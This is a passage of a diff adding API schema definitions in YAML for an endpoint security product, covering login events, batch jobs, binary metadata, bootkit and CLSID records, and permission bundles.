+        type: string
+      windows:
+        $ref: '#/definitions/AuthenticationLoginWindows'
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - auth_status
+      - auth_type
+      - event_type
+      - groups
+      - id
+      - linux
+      - log_type
+      - macos
+      - msg
+      - pid
+      - process_commandline
+      - process_imagename
+      - process_name
+      - process_unique_id
+      - source_address
+      - source_address_geoip
+      - source_agent_hostname
+      - source_agent_id
+      - source_domain
+      - source_user
+      - source_username
+      - success
+      - tactic
+      - target_domain
+      - target_user
+      - target_username
+      - technique
+      - tenant
+      - utc_time
+      - windows
+    type: object
+  Authentihashes:
+    properties:
+      sha1:
+        minLength: 1
+        title: Sha1
+        type: string
+      sha256:
+        minLength: 1
+        title: Sha256
+        type: string
+    required:
+      - sha1
+      - sha256
+    type: object
+  AutoNotification:
+    properties:
+      comment:
+        minLength: 1
+        title: Comment
+        type: string
+      group_ids:
+        minLength: 1
+        title: Group ids
+        type: string
+      hash:
+        minLength: 1
+        title: Hash
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      last_modifier_id:
+        title: Last modifier id
+        type: integer
+      last_update:
+        format: date-time
+        title: Last update
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      priority:
+        title: Priority
+        type: integer
+      recipients:
+        items:
+          $ref: '#/definitions/AutoNotificationRecipient'
+        minItems: 1
+        type: array
+      rules:
+        items:
+          $ref: '#/definitions/AutoNotificationRule'
+        minItems: 1
+        type: array
+    required:
+      - comment
+      - group_ids
+      - hash
+      - id
+      - last_modifier_id
+      - last_update
+      - name
+      - priority
+      - recipients
+      - rules
+    type: object
+  AutoNotificationRecipient:
+    properties:
+      addr:
+        minLength: 1
+        pattern: (?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])
+        title: Addr
+        type: string
+      contact_type:
+        minLength: 1
+        pattern: mail$
+        title: Contact type
+        type: string
+    required:
+      - addr
+      - contact_type
+    type: object
+  AutoNotificationRule:
+    properties:
+      case_insensitive:
+        title: Case insensitive
+        type: boolean
+      field:
+        minLength: 1
+        title: Field
+        type: string
+      operator:
+        minLength: 1
+        title: Operator
+        type: string
+      value:
+        minLength: 1
+        title: Value
+        type: string
+    required:
+      - case_insensitive
+      - field
+      - operator
+      - value
+    type: object
+  BaseClass:
+    properties:
+      base_class:
+        maxLength: 2
+        minLength: 1
+        pattern: ^[0-9,A-F]{2}$
+        title: Base class
+        type: string
+      id:
+        format: uuid
+        title: Id
+        type: string
+      protocol:
+        maxLength: 2
+        pattern: ^[0-9,A-F]{2}$
+        title: Protocol
+        type: string
+        x-nullable: true
+      sub_class:
+        maxLength: 2
+        pattern: ^[0-9,A-F]{2}$
+        title: Sub class
+        type: string
+        x-nullable: true
+    required:
+      - base_class
+    type: object
+  BaseComment:
+    properties:
+      comment:
+        minLength: 1
+        title: Comment
+        type: string
+    required:
+      - comment
+    type: object
+  BasicGroup:
+    properties:
+      display_name:
+        readOnly: true
+        title: Display name
+        type: string
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      name:
+        minLength: 1
+        readOnly: true
+        title: Name
+        type: string
+    type: object
+  BasicRole:
+    properties:
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      name:
+        maxLength: 150
+        minLength: 1
+        title: Name
+        type: string
+    required:
+      - name
+    type: object
+  BatchAgentList:
+    properties:
+      hostname:
+        minLength: 1
+        title: Hostname
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      jobs:
+        items:
+          $ref: '#/definitions/AgentJobInstanceStatus'
+        type: array
+      ostype:
+        minLength: 1
+        title: Ostype
+        type: string
+        x-nullable: true
+      osversion:
+        minLength: 1
+        title: Osversion
+        type: string
+        x-nullable: true
+      status:
+        enum:
+          - access_denied
+          - idle
+          - offline
+          - online
+        readOnly: true
+        title: Status
+        type: string
+    required:
+      - jobs
+    type: object
+  BatchCreate:
+    properties:
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      jobs:
+        description: There is a limit of 1 key for the dictionaries/objects in the job list.
+        items:
+          $ref: '#/definitions/AllAction'
+        type: array
+      source:
+        $ref: '#/definitions/BatchSource'
+      targets:
+        $ref: '#/definitions/BatchTarget'
+      template:
+        title: Template
+        type: string
+      title:
+        minLength: 1
+        title: Title
+        type: string
+    type: object
+  BatchDuplicate:
+    properties:
+      change_targets:
+        default: false
+        title: Change targets
+        type: boolean
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      targets:
+        $ref: '#/definitions/BatchTarget'
+      title:
+        minLength: 1
+        title: Title
+        type: string
+    type: object
+  BatchEdit:
+    properties:
+      archived:
+        title: Archived
+        type: boolean
+      creationtime:
+        format: date-time
+        readOnly: true
+        title: Creationtime
+        type: string
+      creator:
+        readOnly: true
+        title: Creator
+        type: integer
+        x-nullable: true
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      source_id:
+        minLength: 1
+        readOnly: true
+        title: Source id
+        type: string
+        x-nullable: true
+      source_type:
+        enum:
+          - agent
+          - alert
+          - batch_duplicated
+          - endpoint_agent
+          - endpoint_user
+          - group
+          - investigation
+          - remote_shell
+          - security_event
+          - threat
+        readOnly: true
+        title: Source type
+        type: string
+        x-nullable: true
+      template:
+        readOnly: true
+        title: Template
+        type: string
+        x-nullable: true
+      title:
+        title: Title
+        type: string
+        x-nullable: true
+    type: object
+  BatchList:
+    properties:
+      agent_count:
+        minimum: 0
+        title: Agent count
+        type: integer
+      archived:
+        title: Archived
+        type: boolean
+      creationtime:
+        format: date-time
+        title: Creationtime
+        type: string
+      creator:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      endpoint_username:
+        maxLength: 4096
+        minLength: 1
+        title: Endpoint username
+        type: string
+        x-nullable: true
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      is_scheduled:
+        title: Is scheduled
+        type: boolean
+      jobs:
+        items:
+          enum:
+            - IOCScan
+            - agentDiagnostic
+            - agentMinidump
+            - avScan
+            - collectRAWEvidences
+            - deleteScheduledTask
+            - deleteService
+            - downloadDirectory
+            - downloadFile
+            - filepathDeleter
+            - getHives
+            - getLoadedDriverList
+            - getNetworkShare
+            - getPipeList
+            - getPrefetch
+            - getProcessList
+            - getQFE
+            - getRawWMI
+            - getScheduledTasks
+            - getSessions
+            - getStartupFileList
+            - getWMI
+            - knownProcessFinderKiller
+            - listDirectory
+            - memoryDumper
+            - networkDiscovery
+            - networkSniffer
+            - parseFilesystem
+            - persistanceScanner
+            - processDumper
+            - profileMemory
+            - quarantineAcquireFile
+            - quarantineAdd
+            - quarantineDelete
+            - quarantineRestore
+            - registryOperation
+            - searchProcessDumper
+            - wildcardProcessFinderKiller
+            - yaraScan
+          type: string
+        type: array
+        x-nullable: true
+      source_id:
+        minLength: 1
+        title: Source id
+        type: string
+        x-nullable: true
+      source_type:
+        enum:
+          - agent
+          - alert
+          - batch_duplicated
+          - endpoint_agent
+          - endpoint_user
+          - group
+          - investigation
+          - remote_shell
+          - security_event
+          - threat
+        title: Source type
+        type: string
+        x-nullable: true
+      status:
+        $ref: '#/definitions/BatchStats'
+      template:
+        title: Template
+        type: string
+        x-nullable: true
+      title:
+        title: Title
+        type: string
+        x-nullable: true
+    required:
+      - agent_count
+      - creator
+      - jobs
+      - status
+    type: object
+  BatchRetrieve:
+    properties:
+      agent_count:
+        minimum: 0
+        title: Agent count
+        type: integer
+      archived:
+        title: Archived
+        type: boolean
+      creationtime:
+        format: date-time
+        title: Creationtime
+        type: string
+      creator:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      endpoint_username:
+        maxLength: 4096
+        minLength: 1
+        title: Endpoint username
+        type: string
+        x-nullable: true
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      is_scheduled:
+        title: Is scheduled
+        type: boolean
+      source_id:
+        minLength: 1
+        title: Source id
+        type: string
+        x-nullable: true
+      source_type:
+        enum:
+          - agent
+          - alert
+          - batch_duplicated
+          - endpoint_agent
+          - endpoint_user
+          - group
+          - investigation
+          - remote_shell
+          - security_event
+          - threat
+        title: Source type
+        type: string
+        x-nullable: true
+      status:
+        $ref: '#/definitions/BatchStats'
+      tasks:
+        items:
+          $ref: '#/definitions/Task'
+        readOnly: true
+        type: array
+      template:
+        title: Template
+        type: string
+        x-nullable: true
+      title:
+        title: Title
+        type: string
+        x-nullable: true
+    required:
+      - agent_count
+      - status
+    type: object
+  BatchSelect:
+    properties:
+      batch_ids:
+        items:
+          type: string
+        type: array
+        uniqueItems: true
+    required:
+      - batch_ids
+    type: object
+  BatchSource:
+    description: The job will be automatically launched on all related agents of the provided source. If provided, the source must have at least one related agent.
+    properties:
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      type:
+        enum:
+          - agent
+          - alert
+          - batch_duplicated
+          - endpoint_agent
+          - endpoint_user
+          - group
+          - investigation
+          - security_event
+          - threat
+        title: Type
+        type: string
+    required:
+      - id
+      - type
+    type: object
+  BatchStats:
+    properties:
+      canceled:
+        minimum: 0
+        title: Canceled
+        type: integer
+      done:
+        minimum: 0
+        title: Done
+        type: integer
+      error:
+        minimum: 0
+        title: Error
+        type: integer
+      injecting:
+        minimum: 0
+        title: Injecting
+        type: integer
+      running:
+        minimum: 0
+        title: Running
+        type: integer
+      total:
+        minimum: 0
+        title: Total
+        type: integer
+      waiting:
+        minimum: 0
+        title: Waiting
+        type: integer
+    required:
+      - canceled
+      - done
+      - error
+      - injecting
+      - running
+      - total
+      - waiting
+    type: object
+  BatchTarget:
+    description: If provided, must resolve to at least one agent.
+    properties:
+      agent_ids:
+        items:
+          format: uuid
+          type: string
+        type: array
+        uniqueItems: true
+      group_ids:
+        items:
+          type: string
+        type: array
+        uniqueItems: true
+    type: object
+  BatchTemplateCreate:
+    properties:
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      jobs:
+        description: There is a limit of 1 key for the dictionaries/objects in the job list.
+        items:
+          $ref: '#/definitions/AllAction'
+        type: array
+      title:
+        minLength: 1
+        title: Title
+        type: string
+    required:
+      - jobs
+    type: object
+  BatchTemplateCreateFromBatch:
+    properties:
+      batch:
+        title: Batch
+        type: string
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      title:
+        minLength: 1
+        title: Title
+        type: string
+    required:
+      - batch
+    type: object
+  BatchTemplateEdit:
+    properties:
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      jobs:
+        description: There is a limit of 1 key for the dictionaries/objects in the job list.
+        items:
+          $ref: '#/definitions/AllAction'
+        type: array
+      title:
+        minLength: 1
+        title: Title
+        type: string
+    type: object
+  BatchTemplateJobRetrieve:
+    properties:
+      action:
+        $ref: '#/definitions/AllAction'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      task_id:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Task id
+        type: integer
+    required:
+      - action
+      - task_id
+    type: object
+  BatchTemplateRetrieve:
+    properties:
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      jobs:
+        items:
+          $ref: '#/definitions/BatchTemplateJobRetrieve'
+        type: array
+      last_modifier:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      title:
+        title: Title
+        type: string
+        x-nullable: true
+    required:
+      - jobs
+      - last_modifier
+    type: object
+  BinariesRetention:
+    properties:
+      binaries_max_age:
+        minLength: 1
+        title: Binaries max age
+        type: string
+        x-nullable: true
+      binaries_max_size:
+        minLength: 1
+        title: Binaries max size
+        type: string
+        x-nullable: true
+    type: object
+  Binary:
+    properties:
+      approximate_last_seen:
+        format: date-time
+        title: Approximate last seen
+        type: string
+      assemblyline:
+        $ref: '#/definitions/AssemblylineScan'
+      cape:
+        $ref: '#/definitions/CapeScan'
+      downloaded:
+        title: Downloaded
+        type: integer
+      downloaded_date:
+        format: date-time
+        title: Downloaded date
+        type: string
+      file_type:
+        minLength: 1
+        title: File type
+        type: string
+      first_seen:
+        format: date-time
+        title: First seen
+        type: string
+      glimps:
+        $ref: '#/definitions/GlimpsScan'
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      hashes:
+        $ref: '#/definitions/Hashes'
+      hibou:
+        $ref: '#/definitions/HibouScan'
+      hlai:
+        $ref: '#/definitions/HlaiScan'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      irma:
+        $ref: '#/definitions/Irma'
+      names:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      orion:
+        $ref: '#/definitions/OrionScan'
+      ostype:
+        minLength: 1
+        title: Ostype
+        type: string
+      paths:
+        items:
+          minLength: 1
+          type: string
+        type: array
+      pe_info:
+        $ref: '#/definitions/PEInfo'
+      signature_info:
+        $ref: '#/definitions/SignatureInfo'
+      signed:
+        title: Signed
+        type: boolean
+      size:
+        title: Size
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      virustotal:
+        $ref: '#/definitions/VirusTotal'
+      yara:
+        $ref: '#/definitions/DocYaraScanSerializer'
+    required:
+      - approximate_last_seen
+      - assemblyline
+      - cape
+      - downloaded
+      - downloaded_date
+      - file_type
+      - first_seen
+      - glimps
+      - groups
+      - hashes
+      - hibou
+      - hlai
+      - id
+      - irma
+      - names
+      - orion
+      - ostype
+      - paths
+      - pe_info
+      - signature_info
+      - signed
+      - size
+      - tenant
+      - virustotal
+      - yara
+    type: object
+  BinaryInfo:
+    properties:
+      downloaded:
+        title: Downloaded
+        type: boolean
+      filesize:
+        title: Filesize
+        type: integer
+      md5:
+        minLength: 1
+        title: Md5
+        type: string
+      pe_company_name:
+        minLength: 1
+        title: Pe company name
+        type: string
+      pe_file_description:
+        minLength: 1
+        title: Pe file description
+        type: string
+      pe_file_version:
+        minLength: 1
+        title: Pe file version
+        type: string
+      pe_imphash:
+        minLength: 1
+        title: Pe imphash
+        type: string
+      pe_internal_name:
+        minLength: 1
+        title: Pe internal name
+        type: string
+      pe_legal_copyright:
+        minLength: 1
+        title: Pe legal copyright
+        type: string
+      pe_original_filename:
+        minLength: 1
+        title: Pe original filename
+        type: string
+      pe_product_name:
+        minLength: 1
+        title: Pe product name
+        type: string
+      pe_product_version:
+        minLength: 1
+        title: Pe product version
+        type: string
+      pe_timestamp:
+        minLength: 1
+        title: Pe timestamp
+        type: string
+      pe_timestamp_int:
+        title: Pe timestamp int
+        type: integer
+      perms:
+        minLength: 1
+        title: Perms
+        type: string
+      root_display_name:
+        minLength: 1
+        title: Root display name
+        type: string
+      root_issuer_name:
+        minLength: 1
+        title: Root issuer name
+        type: string
+      root_serial_number:
+        minLength: 1
+        title: Root serial number
+        type: string
+      root_thumbprint:
+        minLength: 1
+        title: Root thumbprint
+        type: string
+      sha1:
+        minLength: 1
+        title: Sha1
+        type: string
+      sha256:
+        minLength: 1
+        title: Sha256
+        type: string
+      signed:
+        title: Signed
+        type: boolean
+      signed_authenticode:
+        title: Signed authenticode
+        type: boolean
+      signed_catalog:
+        title: Signed catalog
+        type: boolean
+      signer_display_name:
+        minLength: 1
+        title: Signer display name
+        type: string
+      signer_issuer_name:
+        minLength: 1
+        title: Signer issuer name
+        type: string
+      signer_serial_number:
+        minLength: 1
+        title: Signer serial number
+        type: string
+      signer_thumbprint:
+        minLength: 1
+        title: Signer thumbprint
+        type: string
+    required:
+      - downloaded
+      - filesize
+      - md5
+      - pe_company_name
+      - pe_file_description
+      - pe_file_version
+      - pe_imphash
+      - pe_internal_name
+      - pe_legal_copyright
+      - pe_original_filename
+      - pe_product_name
+      - pe_product_version
+      - pe_timestamp
+      - pe_timestamp_int
+      - perms
+      - root_display_name
+      - root_issuer_name
+      - root_serial_number
+      - root_thumbprint
+      - sha1
+      - sha256
+      - signed
+      - signed_authenticode
+      - signed_catalog
+      - signer_display_name
+      - signer_issuer_name
+      - signer_serial_number
+      - signer_thumbprint
+    type: object
+  BinaryInfoWithPath:
+    properties:
+      binaryinfo:
+        $ref: '#/definitions/BinaryInfo'
+      filename:
+        minLength: 1
+        title: Filename
+        type: string
+      fullpath:
+        minLength: 1
+        title: Fullpath
+        type: string
+      fullpath_cmdline:
+        minLength: 1
+        title: Fullpath cmdline
+        type: string
+      linux_filename:
+        minLength: 1
+        title: Linux filename
+        type: string
+      linux_fullpath:
+        minLength: 1
+        title: Linux fullpath
+        type: string
+      linux_fullpath_cmdline:
+        minLength: 1
+        title: Linux fullpath cmdline
+        type: string
+    required:
+      - binaryinfo
+      - filename
+      - fullpath
+      - fullpath_cmdline
+      - linux_filename
+      - linux_fullpath
+      - linux_fullpath_cmdline
+    type: object
+  BootSector:
+    properties:
+      data:
+        minLength: 1
+        title: Data
+        type: string
+      offset:
+        title: Offset
+        type: integer
+    required:
+      - data
+      - offset
+    type: object
+  Bootkit:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      boot_hash:
+        minLength: 1
+        title: Boot hash
+        type: string
+      boot_type:
+        minLength: 1
+        title: Boot type
+        type: string
+      comment:
+        minLength: 1
+        title: Comment
+        type: string
+      error_string:
+        minLength: 1
+        title: Error string
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      is_suspicious:
+        minLength: 1
+        title: Is suspicious
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - boot_hash
+      - boot_type
+      - comment
+      - error_string
+      - id
+      - is_suspicious
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - tenant
+    type: object
+  BulkCreateFIMPathExclusion:
+    properties:
+      path_exclusions:
+        default: []
+        items:
+          $ref: '#/definitions/CreateFIMPathExclusionSerializerForBulk'
+        type: array
+    type: object
+  BulkCreateFIMPathInclusion:
+    properties:
+      path_inclusions:
+        default: []
+        items:
+          $ref: '#/definitions/CreateFIMPathInclusionSerializerForBulk'
+        type: array
+    type: object
+  BulkCreateUsbRule:
+    properties:
+      rules:
+        items:
+          $ref: '#/definitions/UsbRule'
+        type: array
+    required:
+      - rules
+    type: object
+  BulkDeleteFIMPathExclusion:
+    properties:
+      path_exclusions:
+        default: []
+        items:
+          format: uuid
+          type: string
+        type: array
+    type: object
+  BulkDeleteFIMPathInclusion:
+    properties:
+      path_inclusions:
+        default: []
+        items:
+          format: uuid
+          type: string
+        type: array
+    type: object
+  BulkDeleteHLAVPathExclusion:
+    properties:
+      path_exclusions:
+        default: []
+        items:
+          format: uuid
+          type: string
+        type: array
+    type: object
+  BulkUpdateFIMFileModification:
+    properties:
+      file_modifications:
+        default: []
+        items:
+          $ref: '#/definitions/SingleUpdateFIMFileModification'
+        type: array
+    type: object
+  BulkUpdateFIMPathExclusion:
+    properties:
+      path_exclusions:
+        default: []
+        items:
+          $ref: '#/definitions/UpdateFIMPathExclusionSerializerForBulk'
+        type: array
+    type: object
+  BulkUpdateFIMPathInclusion:
+    properties:
+      path_inclusions:
+        default: []
+        items:
+          $ref: '#/definitions/UpdateFIMPathInclusionSerializerForBulk'
+        type: array
+    type: object
+  BulkUpdateFIMReportByAgent:
+    properties:
+      modifications_by_agent:
+        default: []
+        items:
+          $ref: '#/definitions/UpdateFIMReportByAgent'
+        type: array
+    type: object
+  BulkUpdateFIMReportByPath:
+    properties:
+      modifications_by_path:
+        default: []
+        items:
+          $ref: '#/definitions/UpdateFIMReportByPath'
+        type: array
+    type: object
+  Bundle:
+    properties:
+      enabled_permissions:
+        default: []
+        items:
+          enum:
+            - administration_agent_installers
+            - administration_global_settings
+            - administration_role_edit
+            - administration_role_view
+            - administration_user_edit
+            - administration_user_view
+            - attack_surface_network_discovery_edit
+            - attack_surface_network_discovery_view
+            - attack_surface_vulnerability_edit
+            - attack_surface_vulnerability_view
+            - data_exploration_file_download
+            - data_exploration_investigation_edit
+            - data_exploration_investigation_view
+            - data_exploration_search
+            - data_exploration_telemetry
+            - data_exploration_visualization
+            - detection_sec_event_edit
+            - detection_sec_event_view
+            - detection_threat_edit
+            - detection_threat_view
+            - detection_view_experimental
+            - endpoint_agent_lifecycle
+            - endpoint_lifecycle
+            - endpoint_management_edit
+            - endpoint_management_view
+            - endpoint_policy_edit
+            - endpoint_policy_view
+            - job_acquisition_capture_ram_edit
+            - job_acquisition_capture_ram_view
+            - job_acquisition_collect_raw_data_edit
+            - job_acquisition_collect_raw_data_view
+            - job_acquisition_download_directory_edit
+            - job_acquisition_download_directory_view
+            - job_acquisition_download_file_edit
+            - job_acquisition_download_file_view
+            - job_acquisition_network_sniffer_edit
+            - job_acquisition_network_sniffer_view
+            - job_acquisition_parse_filesystem_edit
+            - job_acquisition_parse_filesystem_view
+            - job_acquisition_process_dumper_edit
+            - job_acquisition_process_dumper_view
+            - job_debug_agent_diagnostic_edit
+            - job_debug_agent_diagnostic_view
+            - job_debug_minidump_edit
+            - job_debug_minidump_view
+            - job_debug_profile_memory_edit
+            - job_debug_profile_memory_view
+            - job_evidence_prefetch_edit
+            - job_evidence_prefetch_view
+            - job_info_drivers_edit
+            - job_info_drivers_view
+            - job_info_list_directory_contents_edit
+            - job_info_list_directory_contents_view
+            - job_info_network_shares_edit
+            - job_info_network_shares_view
+            - job_info_pip_list_edit
+            - job_info_pip_list_view
+            - job_info_processes_edit
+            - job_info_processes_view
+            - job_info_sessions_edit
+            - job_info_sessions_view
+            - job_info_windows_kb_edit
+            - job_info_windows_kb_view
+            - job_persistence_linux_persistence_edit
+            - job_persistence_linux_persistence_view
+            - job_persistence_registry_edit
+            - job_persistence_registry_view
+            - job_persistence_scheduled_tasks_edit
+            - job_persistence_scheduled_tasks_view
+            - job_persistence_startup_files_edit
+            - job_persistence_startup_files_view
+            - job_persistence_wmi_edit
+            - job_persistence_wmi_view
+            - job_remediation_file_deletion_edit
+            - job_remediation_file_deletion_view
+            - job_remediation_process_kill_edit
+            - job_remediation_process_kill_view
+            - job_remediation_quarantine_files_edit
+            - job_remediation_quarantine_files_view
+            - job_remediation_registry_operation_edit
+            - job_remediation_registry_operation_view
+            - job_remediation_scheduled_task_deletion_edit
+            - job_remediation_scheduled_task_deletion_view
+            - job_remediation_service_deletion_edit
+            - job_remediation_service_deletion_view
+            - job_scan_antivirus_scan_edit
+            - job_scan_antivirus_scan_view
+            - job_scan_ioc_scan_edit
+            - job_scan_ioc_scan_view
+            - job_scan_yara_scan_edit
+            - job_scan_yara_scan_view
+            - llm_chat_send_messages
+            - llm_chat_view_messages
+            - misc_api_documentation
+            - misc_product_documentation
+            - monitoring_agent_logs
+            - monitoring_ui
+            - protection_antivirus_edit
+            - protection_antivirus_view
+            - protection_device_control_edit
+            - protection_device_control_view
+            - protection_fim_edit
+            - protection_fim_view
+            - protection_firewall_edit
+            - protection_firewall_view
+            - remediation_isolation
+            - remote_shell_command_cat
+            - remote_shell_command_cd
+            - remote_shell_command_chmod
+            - remote_shell_command_chown
+            - remote_shell_command_cp
+            - remote_shell_command_env
+            - remote_shell_command_filehash
+            - remote_shell_command_listmount
+            - remote_shell_command_mkdir
+            - remote_shell_command_mv
+            - remote_shell_command_pwd
+            - remote_shell_command_run
+            - remote_shell_command_set
+            - remote_shell_command_stat
+            - remote_shell_command_unset
+            - remote_shell_executable_edit
+            - remote_shell_executable_view
+            - remote_shell_session_edit
+            - remote_shell_session_view
+            - threat_intelligence_edit
+            - threat_intelligence_experimental
+            - threat_intelligence_view
+            - threat_intelligence_whitelist_edit
+            - threat_intelligence_whitelist_view
+          type: string
+        type: array
+      enabled_sec_events:
+        default: []
+        items:
+          enum:
+            - all
+            - assemblyline
+            - base
+            - cape
+            - correlation
+            - device_control
+            - driver
+            - glimps
+            - hibou
+            - hlai
+            - hlaiscripts
+            - hurukaiav
+            - ioc
+            - irma
+            - kernelguard
+            - orion
+            - ransom
+            - selfprotection
+            - sidewatch
+            - sigma
+            - vt
+            - yara
+          type: string
+        type: array
+      name:
+        enum:
+          - default
+          - epp
+        title: Name
+        type: string
+    required:
+      - name
+    type: object
+  ByovdDetectionDetails:
+    properties:
+      detection_kind:
+        enum:
+          - block_list
+          - heuristic_allowlist
+          - unspecified
+        title: Detection kind
+        type: string
+      heuristic_metadata:
+        $ref: '#/definitions/ByovdHeuristicMetadata'
+    required:
+      - detection_kind
+    type: object
+  ByovdHeuristicMetadata:
+    properties:
+      detection_flags:
+        items:
+          enum:
+            - manual_registry_service_creation
+            - network_driver_location
+            - neutral_driver_path
+            - suspicious_driver_initial_path
+            - suspicious_driver_path
+            - unsigned_file_creation_process
+            - unsigned_service_creation_process
+            - unspecified
+            - untrusted_file_creation_process
+            - untrusted_service_creation_process
+          type: string
+        type: array
+      file_creation_path:
+        minLength: 1
+        title: File creation path
+        type: string
+      file_creation_process_image_path:
+        minLength: 1
+        title: File creation process image path
+        type: string
+      file_creation_process_unique_id:
+        minLength: 1
+        title: File creation process unique id
+        type: string
+      registry_service_details:
+        minLength: 1
+        title: Registry service details
+        type: string
+      registry_service_process_image_path:
+        minLength: 1
+        title: Registry service process image path
+        type: string
+      registry_service_process_unique_id:
+        minLength: 1
+        title: Registry service process unique id
+        type: string
+      registry_service_target_object:
+        minLength: 1
+        title: Registry service target object
+        type: string
+      service_process_image_path:
+        minLength: 1
+        title: Service process image path
+        type: string
+      service_process_unique_id:
+        minLength: 1
+        title: Service process unique id
+        type: string
+    required:
+      - detection_flags
+      - file_creation_path
+      - file_creation_process_image_path
+      - file_creation_process_unique_id
+      - registry_service_details
+      - registry_service_process_image_path
+      - registry_service_process_unique_id
+      - registry_service_target_object
+      - service_process_image_path
+      - service_process_unique_id
+    type: object
+  CDNDownload:
+    properties:
+      status:
+        enum:
+          - downloaded
+          - not_downloaded
+          - requested
+        title: Status
+        type: string
+    required:
+      - status
+    type: object
+  CLSID:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      binaryinfo:
+        $ref: '#/definitions/BinaryInfoWithPath'
+      clsid_description:
+        minLength: 1
+        title: Clsid description
+        type: string
+      clsid_name:
+        minLength: 1
+        title: Clsid name
+        type: string
+      clsid_timestamp:
+        format: date-time
+        title: Clsid timestamp
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      inprochandler:
+        minLength: 1
+        title: Inprochandler
+        type: string
+      inprochandler32:
+        minLength: 1
+        title: Inprochandler32
+        type: string
+      inprochandler32_timestamp:
+        format: date-time
+        title: Inprochandler32 timestamp
+        type: string
+      inprochandler_timestamp:
+        format: date-time
+        title: Inprochandler timestamp
+        type: string
+      inprocserver:
+        minLength: 1
+        title: Inprocserver
+        type: string
+      inprocserver32:
+        minLength: 1
+        title: Inprocserver32
+        type: string
+      inprocserver32_timestamp:
+        format: date-time
+        title: Inprocserver32 timestamp
+        type: string
+      inprocserver_timestamp:
+        format: date-time
+        title: Inprocserver timestamp
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      localserver:
+        minLength: 1
+        title: Localserver
+        type: string
+      localserver32:
+        minLength: 1
+        title: Localserver32
+        type: string
+      localserver32_timestamp:
+        format: date-time
+        title: Localserver32 timestamp
+        type: string
+      localserver_timestamp:
+        format: date-time
+        title: Localserver timestamp
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      treatas:
+        minLength: 1
+        title: Treatas
+        type: string
+      treatas_timestamp:
+        format: date-time
+        title: Treatas timestamp
+        type: string
+      username:
+        minLength: 1
+        title: Username
+        type: string
+      wow64:
+        title: Wow64
+        type: boolean
+    required:
+      - '@timestamp'
+      - agent
+      - binaryinfo
+      - clsid_description
+      - clsid_name
+      - clsid_timestamp
+      - id
+      - inprochandler
+      - inprochandler32
+      - inprochandler32_timestamp
+      - inprochandler_timestamp
+      - inprocserver
+      - inprocserver32
+      - inprocserver32_timestamp
+      - inprocserver_timestamp
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - localserver
+      - localserver32
+      - localserver32_timestamp
+      - localserver_timestamp
+      - tenant
+      - treatas
+      - treatas_timestamp
+      - username
+      - wow64
+    type: object
+  Callback:
+    properties:
+      array_entry_value:
